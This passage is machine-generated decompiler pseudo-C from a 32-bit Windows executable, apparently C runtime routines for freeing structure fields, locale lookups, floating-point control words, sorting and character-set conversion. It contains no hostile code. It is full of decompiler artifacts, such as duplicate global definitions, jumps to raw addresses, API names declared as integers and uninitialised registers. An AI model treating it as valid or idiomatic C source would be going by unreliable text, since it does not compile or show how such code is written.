 zf20 = *reinterpret_cast<void***>(a2 + 20) == image_base_;
if (!zf20) {
v21 = *reinterpret_cast<void***>(a2 + 20);
fun_406c46(ecx, v21, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v21;
}
zf22 = *reinterpret_cast<void***>(a2 + 24) == image_base_;
if (!zf22) {
v23 = *reinterpret_cast<void***>(a2 + 24);
fun_406c46(ecx, v23, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v23;
}
zf24 = *reinterpret_cast<void***>(a2 + 28) == image_base_;
if (!zf24) {
v25 = *reinterpret_cast<void***>(a2 + 28);
fun_406c46(ecx, v25, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v25;
}
zf26 = *reinterpret_cast<void***>(a2 + 32) == image_base_;
if (!zf26) {
v27 = *reinterpret_cast<void***>(a2 + 32);
fun_406c46(ecx, v27, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v27;
}
zf28 = *reinterpret_cast<void***>(a2 + 36) == image_base_;
if (!zf28) {
v29 = *reinterpret_cast<void***>(a2 + 36);
fun_406c46(ecx, v29, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v29;
}
zf30 = *reinterpret_cast<void***>(a2 + 56) == image_base_;
if (!zf30) {
v31 = *reinterpret_cast<void***>(a2 + 56);
fun_406c46(ecx, v31, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v31;
}
zf32 = *reinterpret_cast<void***>(a2 + 60) == image_base_;
if (!zf32) {
 v33 = *reinterpret_cast<void***>(a2 + 60);
fun_406c46(ecx, v33, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v33;
}
zf34 = *reinterpret_cast<void***>(a2 + 64) == image_base_;
if (!zf34) {
v35 = *reinterpret_cast<void***>(a2 + 64);
fun_406c46(ecx, v35, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v35;
}
zf36 = *reinterpret_cast<void***>(a2 + 68) == image_base_;
if (!zf36) {
v37 = *reinterpret_cast<void***>(a2 + 68);
fun_406c46(ecx, v37, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v37;
}
zf38 = *reinterpret_cast<void***>(a2 + 72) == image_base_;
if (!zf38) {
v39 = *reinterpret_cast<void***>(a2 + 72);
fun_406c46(ecx, v39, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v39;
}
eax40 = *reinterpret_cast<void***>(a2 + 76);
zf41 = eax40 == image_base_;
if (!zf41) {
eax40 = fun_406c46(ecx, eax40, esi17, *reinterpret_cast<void***>(&v13),
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
}
}
return eax40;
}

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(68);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);
/* (image base) */
void** image_base_ = reinterpret_cast<void**>(72);

/* (image base) */
void** image_base_ = reinterpret_cast<void**>(76);

void** fun_40808e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
int32_t v13;
int32_t ebp14;
int1_t zf15;
void** v16;
void** esi17;
int1_t zf18;
void** v19;
int1_t zf20;
void** v21;
int1_t zf22;
void** v23;
void** eax24;
int1_t zf25;

v13 = ebp14;
if (a2) {
zf15 = *reinterpret_cast<void***>(a2) == image_base_;
if (!zf15) {
v16 = *reinterpret_cast<void***>(a2);
fun_406c46(ecx, v16, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v16;
}
zf18 = *reinterpret_cast<void***>(a2 + 4) == image_base_;
if (!zf18) {
v19 = *reinterpret_cast<void***>(a2 + 4);
fun_406c46(ecx, v19, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v19;
}
zf20 = *reinterpret_cast<void***>(a2 + 8) == image_base_;
if (!zf20) {
v21 = *reinterpret_cast<void***>(a2 + 8);
fun_406c46(ecx, v21, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
 ecx = v21;
}
zf22 = *reinterpret_cast<void***>(a2 + 48) == image_base_;
if (!zf22) {
v23 = *reinterpret_cast<void***>(a2 + 48);
fun_406c46(ecx, v23, esi17, *reinterpret_cast<void***>(&v13), __return_address(), a2,
a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
ecx = v23;
}
eax24 = *reinterpret_cast<void***>(a2 + 52);
zf25 = eax24 == image_base_;
if (!zf25) {
eax24 = fun_406c46(ecx, eax24, esi17, *reinterpret_cast<void***>(&v13),
__return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
}
}
return eax24;
}

void** fun_408607(void** a1) {

if (!a1 || a1 == 0x40ff60) {
return 0x7fffffff;
} else {
__asm__("lock xadd [ecx+0xb0], eax");
return 0xfffffffe;
}
}

void fun_408717(void** ecx);

void** fun_4086b1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9) {
int32_t ebp10;
void** eax11;
void** ecx12;
int32_t ebp13;
void** v14;
void** eax15;
int32_t ebp16;
int32_t ebp17;

fun_4038a0(ecx, 0x414a68, 12, __return_address());

*reinterpret_cast<uint32_t*>(ebp10 - 28) = 0;
eax11 = fun_40695e(ecx, 0x414a68, 12, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9);
 ecx12 = g4166a0;
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(eax11 + 0x350)) &
reinterpret_cast<unsigned char>(ecx12) && *reinterpret_cast<void***>(eax11 + 76) ||
(fun_407a92(ecx12, 4), *reinterpret_cast<uint32_t*>(ebp13 - 4) = 0, v14 = g417244, eax15 =
fun_408728(4, eax11 + 76, v14, 0x4a68, 12, __return_address()), ecx12 = v14,
*reinterpret_cast<void***>(ebp16 - 28) = eax15, *reinterpret_cast<int32_t*>(ebp17 - 4) = -2,
fun_408717(ecx12), !!eax15)) {
fun_4038f0(ecx12, 0x414a68, 12, __return_address(), a2);
goto 0x414a68;
} else {
fun_405ccd(ecx12, 0x414a68, 12, __return_address(), a2, a3, a4);
fun_407ada(4, 4);
goto 0x414a68;
}
}

void fun_408717(void** ecx) {

fun_407ada(4);
return;
}

int32_t HeapSize = 0x1555e;

void** fun_409c17(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** ebp9;
void** eax10;

if (a2) {
HeapSize();
goto 0;
} else {
eax10 = fun_4060e8(ecx, ebp9, __return_address(), a2, a3, a4, a5, a6, a7, a8);
*reinterpret_cast<void***>(eax10) = reinterpret_cast<void**>(22);
fun_40602c(ecx, ebp9, __return_address(), a2, a3);
return 0xffffffff;
}
}

void fun_4088db(void** a1, void** a2) {

fun_404c7c(0x417254, a1);
return;
}
void** fun_408a07(void** a1) {
void** eax2;
struct s33* eax3;
uint32_t eax4;
uint32_t eax5;

eax2 = a1 - 1 - 1;
if (!eax2) {
return 0x417258;
} else {
eax3 = reinterpret_cast<struct s33*>(eax2 - 4);
if (eax3) {
eax4 = reinterpret_cast<uint32_t>(eax3) - 9;
if (!eax4) {
return 0x417264;
} else {
eax5 = eax4 - 6;
if (!eax5) {
return 0x41725c;
} else {
if (eax5 - 1) {
return 0;
}
}
}
}
return 0x417260;
}
}

void** fun_408ac3(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11) {
void** eax12;

eax12 = fun_40695e(ecx, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9, a10, a11);
return eax12 + 8;
}

uint16_t fun_409081(void** a1) {

void** ecx2;
uint32_t eax3;
uint32_t edx4;
uint32_t edx5;
ecx2 = a1;
eax3 = 0;
if (*reinterpret_cast<unsigned char*>(&ecx2) & 16) {
eax3 = 1;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 8) {
eax3 = eax3 | 4;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 4) {
eax3 = eax3 | 8;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 2) {
eax3 = eax3 | 16;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 1) {
eax3 = eax3 | 32;
}
if (reinterpret_cast<unsigned char>(ecx2) & 0x80000) {
eax3 = eax3 | 2;
}
edx4 = reinterpret_cast<unsigned char>(ecx2) & 0x300;
if (edx4) {
if (edx4 == 0x100) {
eax3 = eax3 | 0x400;
} else {
if (edx4 == 0x200) {
eax3 = eax3 | 0x800;
} else {
if (edx4 == 0x300) {
eax3 = eax3 | 0xc00;
}
}
}
}
edx5 = reinterpret_cast<unsigned char>(ecx2) & 0x30000;
if (!edx5) {
eax3 = eax3 | 0x300;
} else {
if (edx5 == 0x10000) {
eax3 = eax3 | 0x200;
}
}
if (reinterpret_cast<unsigned char>(ecx2) & 0x40000) {
eax3 = eax3 | 0x1000;
 }
return *reinterpret_cast<uint16_t*>(&eax3);
}

uint32_t fun_408cd4(void** a1) {

void** ecx2;
uint32_t eax3;
uint32_t edx4;
uint32_t ecx5;

ecx2 = a1;
eax3 = 0;
if (*reinterpret_cast<unsigned char*>(&ecx2) & 16) {
eax3 = 0x80;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 8) {
eax3 = eax3 | 0x200;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 4) {
eax3 = eax3 | 0x400;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 2) {
eax3 = eax3 | 0x800;
}
if (*reinterpret_cast<unsigned char*>(&ecx2) & 1) {
eax3 = eax3 | 0x1000;
}
if (reinterpret_cast<unsigned char>(ecx2) & 0x80000) {
eax3 = eax3 | 0x100;
}
edx4 = reinterpret_cast<unsigned char>(ecx2) & 0x300;
if (edx4) {
if (edx4 == 0x100) {
eax3 = eax3 | 0x2000;
} else {
if (edx4 == 0x200) {
eax3 = eax3 | 0x4000;
} else {
if (edx4 == 0x300) {
eax3 = eax3 | 0x6000;
}
}
}
}
 ecx5 = reinterpret_cast<unsigned char>(ecx2) & 0x3000000;
if (ecx5 == 0x1000000) {
eax3 = eax3 | 0x8040;
} else {
if (ecx5 == 0x2000000) {
return eax3 | 64;
} else {
if (ecx5 == 0x3000000) {
return eax3 | 0x8000;
}
}
}
return eax3;
}

struct s42 {
signed char[8] pad8;
int32_t f8;
};

uint32_t g416750 = 1;

void fun_409e97(void** ecx) {

int1_t less2;
int32_t eax3;
struct s42* ebp4;
int1_t zf5;
unsigned char* edi6;
unsigned char* edi7;
int32_t ebp8;

fun_4038a0(ecx, 0x414b10, 8, __return_address());

less2 = reinterpret_cast<int32_t>(g416ae0) < reinterpret_cast<int32_t>(1);
if (!less2) {
eax3 = ebp4->f8;
if (!(*reinterpret_cast<unsigned char*>(&eax3) & 64) || (zf5 = g416750 == 0, zf5)) {
*edi6 = reinterpret_cast<unsigned char>(*edi7 | *reinterpret_cast<unsigned
char*>(&ecx));
} else {
*reinterpret_cast<uint32_t*>(ebp8 - 4) = 0;
}
}
__asm__("in al, 0x99");
}
struct s43 {
signed char[168] pad168;
int32_t fa8;
};

uint32_t fun_409fb9(void** ecx, unsigned char a2, void** a3);

struct s44 {
signed char[8] pad8;
int32_t f8;
};

struct s45 {
signed char[848] pad848;
uint32_t f350;
};

uint32_t fun_40911a(int16_t* a1, void** a2, uint32_t a3, void** a4) {

int32_t v5;
void*** ebp6;
uint32_t eax7;
void** ecx8;
void** edi9;
void** esi10;
void** ebx11;
void** v12;
void** v13;
void** v14;
struct s43* v15;
uint32_t eax16;
uint32_t edi17;
void** v18;
uint32_t v19;
uint32_t eax20;
int16_t* eax21;
int32_t v22;
struct s44* v23;
int32_t eax24;
signed char v25;
struct s45* v26;
void** v27;
void** v28;
void** v29;
void** ebp30;
void** eax31;
uint32_t v32;
int1_t cf33;
int16_t* eax34;
uint32_t v35;
int32_t v36;
int32_t eax37;
uint32_t v38;

v5 = reinterpret_cast<int32_t>(__return_address());
ebp6 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
if (!a2 || !a3) {
addr_409143_2:
eax7 = 0;
} else {
if (*reinterpret_cast<void***>(a2)) {
ecx8 = reinterpret_cast<void**>(ebp6 + 0xfffffff0);
fun_405d20(ecx8, a4, edi9, esi10, ebx11, v12, v13, v14);
if (!v15->fa8) {
if (a1) {
eax16 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2));
*a1 = *reinterpret_cast<int16_t*>(&eax16);
}
edi17 = 1;
goto addr_4091fc_8;
}
v18 = reinterpret_cast<void**>(ebp6 + 0xfffffff4);
v19 = reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2));
eax20 = fun_409fb9(ecx8, *reinterpret_cast<unsigned char*>(&v19), v18);
if (!eax20)
goto addr_4091cb_10; else
goto addr_40918b_11;
} else {
if (a1) {
*a1 = 0;
goto addr_409143_2;
}
}
}
addr_409145_14:
return eax7;
addr_4091cb_10:
eax21 = reinterpret_cast<int16_t*>(0);
 *reinterpret_cast<unsigned char*>(&eax21) = reinterpret_cast<uint1_t>(!!a1);
edi17 = 1;
v22 = v23->f8;
eax24 = reinterpret_cast<int32_t>(MultiByteToWideChar(v18, v22, 9, a2, 1, a1, eax21));
if (eax24) {
addr_4091fc_8:
if (v25) {
v26->f350 = v26->f350 & 0xfffffffd;
}
} else {
addr_4091ee_16:
eax31 = fun_4060e8(v18, edi9, esi10, ebx11, 1, v27, v28, v29, ebp30,
*reinterpret_cast<void***>(&v5));
edi17 = 0xffffffff;
*reinterpret_cast<void***>(eax31) = reinterpret_cast<void**>(42);
goto addr_4091fc_8;
}
eax7 = edi17;
goto addr_409145_14;
addr_40918b_11:
edi17 = v32;
if (*reinterpret_cast<int32_t*>(edi17 + 4) <= reinterpret_cast<int32_t>(1))
goto addr_4091bb_18;
cf33 = a3 < *reinterpret_cast<uint32_t*>(edi17 + 4);
if (reinterpret_cast<int32_t>(a3) >= *reinterpret_cast<int32_t*>(edi17 + 4)) {
eax34 = reinterpret_cast<int16_t*>(0);
*reinterpret_cast<unsigned char*>(&eax34) = reinterpret_cast<uint1_t>(!!a1);
v35 = *reinterpret_cast<uint32_t*>(edi17 + 4);
v36 = *reinterpret_cast<int32_t*>(edi17 + 8);
eax37 = reinterpret_cast<int32_t>(MultiByteToWideChar(v18, v36, 9, a2, v35, a1, eax34));
edi17 = v38;
if (eax37) {
addr_4091c6_21:
edi17 = *reinterpret_cast<uint32_t*>(edi17 + 4);
goto addr_4091fc_8;
} else {
addr_4091bb_18:
cf33 = a3 < *reinterpret_cast<uint32_t*>(edi17 + 4);
}
}
if (cf33)
goto addr_4091ee_16;
if (!*reinterpret_cast<void***>(a2 + 1))
goto addr_4091ee_16; else
 goto addr_4091c6_21;
}

uint32_t fun_409214(int16_t* a1, void** a2, uint32_t a3) {

uint32_t eax4;

eax4 = fun_40911a(a1, a2, a3, 0);

return eax4;
}

void fun_4093c2(void** ecx, void** a2) {

int32_t ebp3;

EnterCriticalSection();
goto ebp3;
}

uint32_t fun_4093ea(void** a1) {

int32_t edi2;
int32_t ebx3;
int32_t v4;
int32_t v5;
int32_t v6;
int32_t ecx7;
uint32_t edx8;
int32_t v9;
uint16_t* esi10;
uint32_t ecx11;
uint32_t eax12;
uint32_t edx13;
uint32_t eax14;
uint32_t eax15;
uint32_t eax16;
uint32_t eax17;

edi2 = 0;
ebx3 = 0xe3;
v4 = 0;
v5 = 0xe3;
do {
v6 = 85;
__asm__("cdq ");
ecx7 = reinterpret_cast<int32_t>(ebx3 + edi2 - edx8) >> 1;
v9 = ecx7;
 esi10 = *reinterpret_cast<uint16_t**>(ecx7 * 8 + 0x4111f0);
ecx11 = reinterpret_cast<unsigned char>(a1) - reinterpret_cast<uint32_t>(esi10);
do {
eax12 = *reinterpret_cast<uint16_t*>(ecx11 + reinterpret_cast<uint32_t>(esi10));
if (*reinterpret_cast<uint16_t*>(&eax12) < 65 || *reinterpret_cast<uint16_t*>(&eax12) >
90) {
edx13 = eax12;
} else {
eax14 = eax12 + 32;
edx13 = *reinterpret_cast<uint16_t*>(&eax14);
}
eax15 = *esi10;
if (*reinterpret_cast<uint16_t*>(&eax15) >= 65 && *reinterpret_cast<uint16_t*>(&eax15)
<= 90) {
eax16 = eax15 + 32;
eax15 = *reinterpret_cast<uint16_t*>(&eax16);
}
++esi10;
--v6;
} while (v6 && (*reinterpret_cast<uint16_t*>(&edx13) &&
*reinterpret_cast<uint16_t*>(&edx13) == *reinterpret_cast<uint16_t*>(&eax15)));
edi2 = v4;
ebx3 = v5;
edx8 = *reinterpret_cast<uint16_t*>(&edx13) - *reinterpret_cast<uint16_t*>(&eax15);
if (!edx8)
break;
if (reinterpret_cast<int32_t>(edx8) >= reinterpret_cast<int32_t>(0)) {
edi2 = v9 + 1;
v4 = edi2;
} else {
ebx3 = v9 - 1;
v5 = ebx3;
}
} while (edi2 <= ebx3);
goto addr_409493_14;
eax17 = *reinterpret_cast<uint32_t*>("B" + v9 * 8);
addr_40949f_16:
return eax17;
addr_409493_14:
eax17 = 0xffffffff;
goto addr_40949f_16;
}

void** fun_4094e0(void** ecx, void** a2, void** a3, void** a4, void** a5) {
 void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** ecx12;
void** ebx13;
void** eax14;
void** edx15;
void** esi16;
void** edi17;
int32_t eax18;
void** esi19;
void** edx20;
void* edi21;
void** cl22;
void** eax23;

v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
ecx12 = a2;
ebx13 = a3;
if (reinterpret_cast<unsigned char>(ebx13) > reinterpret_cast<unsigned char>(ecx12)) {
eax14 = a4;
edx15 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx12) +
reinterpret_cast<unsigned char>(eax14));
do {
esi16 = edx15;
edi17 = ecx12;
if (reinterpret_cast<unsigned char>(esi16) <= reinterpret_cast<unsigned char>(ebx13)) {
do {
image_base_(a5, esi16, edi17);
eax18 = reinterpret_cast<int32_t>(a5(a5, esi16, edi17));
if (!(reinterpret_cast<uint1_t>(eax18 < 0) | reinterpret_cast<uint1_t>(eax18 == 0))) {
edi17 = esi16;
}
eax14 = a4;
esi16 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(esi16) +
reinterpret_cast<unsigned char>(eax14));
 } while (reinterpret_cast<unsigned char>(esi16) <= reinterpret_cast<unsigned
char>(ebx13));
ecx12 = a2;
}
esi19 = eax14;
edx20 = ebx13;
if (edi17 != ebx13 && eax14) {
edi21 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(edi17) -
reinterpret_cast<unsigned char>(ebx13));
do {
++edx20;
cl22 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi21) +
reinterpret_cast<unsigned char>(edx20) + 0xffffffff);
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi21) +
reinterpret_cast<unsigned char>(edx20) + 0xffffffff) = *reinterpret_cast<void***>(edx20);
*reinterpret_cast<void***>(edx20 + 0xffffffff) = cl22;
--esi19;
} while (esi19);
eax14 = a4;
ecx12 = a2;
}
ebx13 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ebx13) -
reinterpret_cast<unsigned char>(eax14));
edx15 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx12) +
reinterpret_cast<unsigned char>(eax14));
} while (reinterpret_cast<unsigned char>(ebx13) > reinterpret_cast<unsigned
char>(ecx12));
}
eax23 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax23;
}

void fun_409580(void** ecx, void** a2, void** a3, void** a4) {

void** eax5;
void** esi6;
void* edi7;
void** dl8;

eax5 = a3;
if (a2 != eax5) {
esi6 = a4;
if (esi6) {
 edi7 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(a2) -
reinterpret_cast<unsigned char>(eax5));
do {
++eax5;
dl8 = *reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi7) +
reinterpret_cast<unsigned char>(eax5) + 0xffffffff);
*reinterpret_cast<void***>(reinterpret_cast<uint32_t>(edi7) +
reinterpret_cast<unsigned char>(eax5) + 0xffffffff) = *reinterpret_cast<void***>(eax5);
*reinterpret_cast<void***>(eax5 + 0xffffffff) = dl8;
--esi6;
} while (esi6);
}
}
return;
}

void** fun_40a0d0(void** a1, void** a2);

void** fun_406425(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22);

int32_t WideCharToMultiByte = 0x15452;

void** fun_4099a0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, int32_t a10) {
void*** esp11;
uint32_t eax12;
void** v13;
void** esi14;
void*** esp15;
void** eax16;
int1_t less17;
void** edi18;
int32_t eax19;
void** v20;
void** v21;
void** eax22;
void** esp23;
void** ebp24;
void** eax25;
void** edx26;
void** ecx27;
uint32_t eax28;
 void** ebx29;
void** ecx30;
uint32_t eax31;
void** v32;
void** edi33;
void** esi34;
void** ebx35;
void** eax36;
void** v37;
void** v38;
void** v39;
int32_t eax40;
void** eax41;
void** edx42;
void** ecx43;
uint32_t eax44;
void** edi45;
void** ecx46;
uint32_t eax47;
void** v48;
void** eax49;
void** eax50;
void** v51;
void** v52;
void** eax53;
void** eax54;

esp11 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);

eax12 = g416004;
v13 = reinterpret_cast<void**>(eax12 ^ reinterpret_cast<uint32_t>(esp11));
esi14 = a6;
esp15 = esp11 - 4 - 4 - 4 - 4 - 4;
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(esi14) < reinterpret_cast<signed
char>(0)) | reinterpret_cast<uint1_t>(esi14 == 0)) && (eax16 = fun_40a0d0(a5, esi14), less17 =
reinterpret_cast<signed char>(eax16) < reinterpret_cast<signed char>(esi14), ecx = esi14,
esp15 = esp15 - 4 - 4 - 4 + 4 + 4 + 4, esi14 = eax16 + 1, !less17)) {
esi14 = eax16;
}
edi18 = a9;
if (!edi18) {
edi18 = *reinterpret_cast<void***>(*reinterpret_cast<void***>(a2) + 8);
a9 = edi18;
}
eax19 = 0;
 *reinterpret_cast<unsigned char*>(&eax19) = reinterpret_cast<uint1_t>(!!a10);
v20 = reinterpret_cast<void**>(eax19 * 8 + 1);
v21 = edi18;
eax22 = reinterpret_cast<void**>(MultiByteToWideChar(ecx, v21, v20, a5, esi14, 0, 0));
esp23 = reinterpret_cast<void**>(esp15 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
if (!eax22) {
addr_409b98_6:
eax25 = fun_402f62(reinterpret_cast<unsigned char>(v13) ^
reinterpret_cast<uint32_t>(esp11), eax22, v13, ebp24, __return_address(), a2, a3, a4);
return eax25;
} else {
edx26 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax22) +
reinterpret_cast<unsigned char>(eax22));
ecx27 = edx26 + 8;
eax28 = reinterpret_cast<unsigned char>(eax22) - (reinterpret_cast<unsigned
char>(eax22) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax22) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax22) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx26) < reinterpret_cast<unsigned
char>(ecx27)))));
if (!(reinterpret_cast<unsigned char>(ecx27) & eax28)) {
ebx29 = reinterpret_cast<void**>(0);
} else {
ecx30 = edx26 + 8;
eax31 = eax28 - (eax28 + reinterpret_cast<uint1_t>(eax28 < eax28 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx26) < reinterpret_cast<unsigned
char>(ecx30)))) & reinterpret_cast<unsigned char>(ecx30);
ecx27 = edx26 + 8;
if (eax31 > 0x400) {
v32 = reinterpret_cast<void**>(eax31 - (eax31 + reinterpret_cast<uint1_t>(eax31 <
eax31 + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx26) <
reinterpret_cast<unsigned char>(ecx27)))) & reinterpret_cast<unsigned char>(ecx27));
eax36 = fun_408217(v32, v21, v20, a5, esi14, 0, 0, edi33, esi34, ebx35, eax22, v13,
ebp24);
ebx29 = eax36;
ecx27 = v32;
esp23 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp23 - 4) - 4 + 4 + 4);
if (!ebx29)
goto addr_409b8d_11;
*reinterpret_cast<void***>(ebx29) = reinterpret_cast<void**>(0xdddd);
} else {
fun_40cb10(ecx27, v21, v20, a5, esi14, 0, 0, edi33, esi34, ebx35, eax22, v13, ebp24);
esp23 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp23 - 4) + 4);
ebx29 = esp23;
if (!ebx29)
 goto addr_409b8d_11;
v21 = reinterpret_cast<void**>(0xcccc);
}
ebx29 = ebx29 + 8;
}
if (!ebx29 || ((v37 = ebx29, v38 = a5, v39 = edi18, eax40 =
reinterpret_cast<int32_t>(MultiByteToWideChar(ecx27, v39, 1, v38, esi14, v37, eax22, v21, v20,
a5, esi14, 0, 0)), esp23 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp23 - 4) - 4 - 4 -
4 - 4 - 4 - 4 + 4), eax40 == 0) || (eax41 = fun_406425(ecx27, a3, a4, ebx29, eax22, 0, 0, 0, 0, 0,
v39, 1, v38, esi14, v37, eax22, v21, v20, a5, esi14, 0, 0), esp23 =
reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp23 - 4) - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 +
36 + 4), eax41 == 0))) {
addr_409b8d_11:
goto addr_409b8f_17;
} else {
if (!(reinterpret_cast<unsigned char>(a4) & 0x400)) {
edx42 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(eax41) +
reinterpret_cast<unsigned char>(eax41));
ecx43 = edx42 + 8;
eax44 = reinterpret_cast<unsigned char>(eax41) - (reinterpret_cast<unsigned
char>(eax41) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax41) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax41) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx42) < reinterpret_cast<unsigned
char>(ecx43)))));
if (!(reinterpret_cast<unsigned char>(ecx43) & eax44)) {
edi45 = reinterpret_cast<void**>(0);
} else {
ecx46 = edx42 + 8;
eax47 = eax44 - (eax44 + reinterpret_cast<uint1_t>(eax44 < eax44 +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx42) < reinterpret_cast<unsigned
char>(ecx46)))) & reinterpret_cast<unsigned char>(ecx46);
ecx43 = edx42 + 8;
if (eax47 > 0x400) {
v48 = reinterpret_cast<void**>(eax47 - (eax47 + reinterpret_cast<uint1_t>(eax47
< eax47 + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx42) <
reinterpret_cast<unsigned char>(ecx43)))) & reinterpret_cast<unsigned char>(ecx43));
eax49 = fun_408217(v48, v39, 1, v38, esi14, v37, eax22, v21, v20, a5, esi14, 0,
0);
edi45 = eax49;
ecx43 = v48;
if (!edi45)
goto addr_409b86_23;
*reinterpret_cast<void***>(edi45) = reinterpret_cast<void**>(0xdddd);
} else {
 fun_40cb10(ecx43, v39, 1, v38, esi14, v37, eax22, v21, v20, a5, esi14, 0, 0);
esp23 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp23 - 4) + 4);
edi45 = esp23;
if (!edi45)
goto addr_409b86_23;
v39 = reinterpret_cast<void**>(0xcccc);
}
edi45 = edi45 + 8;
}
if (!edi45 || (eax50 = fun_406425(ecx43, a3, a4, ebx29, eax22, edi45, eax41, 0, 0, 0,
v39, 1, v38, esi14, v37, eax22, v21, v20, a5, esi14, 0, 0), eax50 == 0)) {
addr_409b86_23:
fun_4083c7(ecx43, edi45, v39, 1, v38, esi14, v37, eax22, v21, v20, a5, esi14, 0, 0,
edi33, esi34, ebx35, eax22, v13, ebp24, __return_address(), a2);
ecx27 = edi45;
goto addr_409b8d_11;
} else {
if (a8) {
v51 = a8;
v52 = a7;
} else {
v51 = reinterpret_cast<void**>(0);
v52 = reinterpret_cast<void**>(0);
}
eax53 = reinterpret_cast<void**>(WideCharToMultiByte(ecx43, a9, 0, edi45, eax41,
v52, v51, 0, 0, v39, 1, v38, esi14, v37, eax22, v21, v20, a5, esi14, 0, 0));
if (!eax53)
goto addr_409b86_23;
}
} else {
if (!a8)
goto addr_409b8f_17;
